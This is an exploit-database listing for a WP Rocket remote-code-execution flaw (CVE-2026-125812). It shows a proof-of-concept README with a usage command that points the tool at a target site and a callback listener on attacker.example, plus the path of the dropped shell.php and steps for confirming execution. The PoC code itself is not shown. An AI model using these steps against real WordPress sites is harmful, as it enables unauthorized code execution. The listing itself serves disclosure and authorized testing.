Critical Severity CVE-2026-125812
Published: Nov 29, 2026

[GitHub] cve-2026-125812-poc

Rce
Type
N/A
CVSS Score
1
Views
Anonymous
Author

Description

CVE-2026-125812 WP Rocket <3.24.2 unauthenticated path traversal to PHP file write/RCE; minimal marker-only Python PoC

# CVE-2026-125812 WP Rocket PoC

Unauthenticated path traversal to arbitrary PHP file write in WP Rocket **< 3.24.2**, when **Host Fonts Locally** and **Automatic Font Preloading** are enabled. The PoC writes only a harmless marker, then requests it to confirm execution.

**Use only on systems you are authorized to test. Upgrade to WP Rocket 3.24.2 or later.**

## Usage

Python 3, standard library only. Run on a host reachable by the target over HTTPS:

```bash
python3 poc.py https://wordpress.example \
--listen 0.0.0.0:9443 \
--public-url https://attacker.example:9443 \
--cert cert.pem --key key.pem
```

For the original loopback lab, run on the lab host and omit `--public-url`; its default is `https://127.0.0.1:9443`. A loopback listener requires the lab's HTTP/SSL exception. A normal external HTTPS listener with a valid certificate does not.

The target page must be regenerated after the beacon submission. If the marker is not found, clear WP Rocket's cache, request `/`, and recheck `/wp-content/wp-rocket-config/shell.php`.

References: [Patchstack advisory](https://patchstack.com/database/wordpress/plugin/wp-rocket/vulnerability/wordpress-wp-rocket-plugin-3-24-2-remote-code-execution-rce-vulnerability) ยท [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-125812)

Community Rating
0

Login to rate this exploit

Quick Actions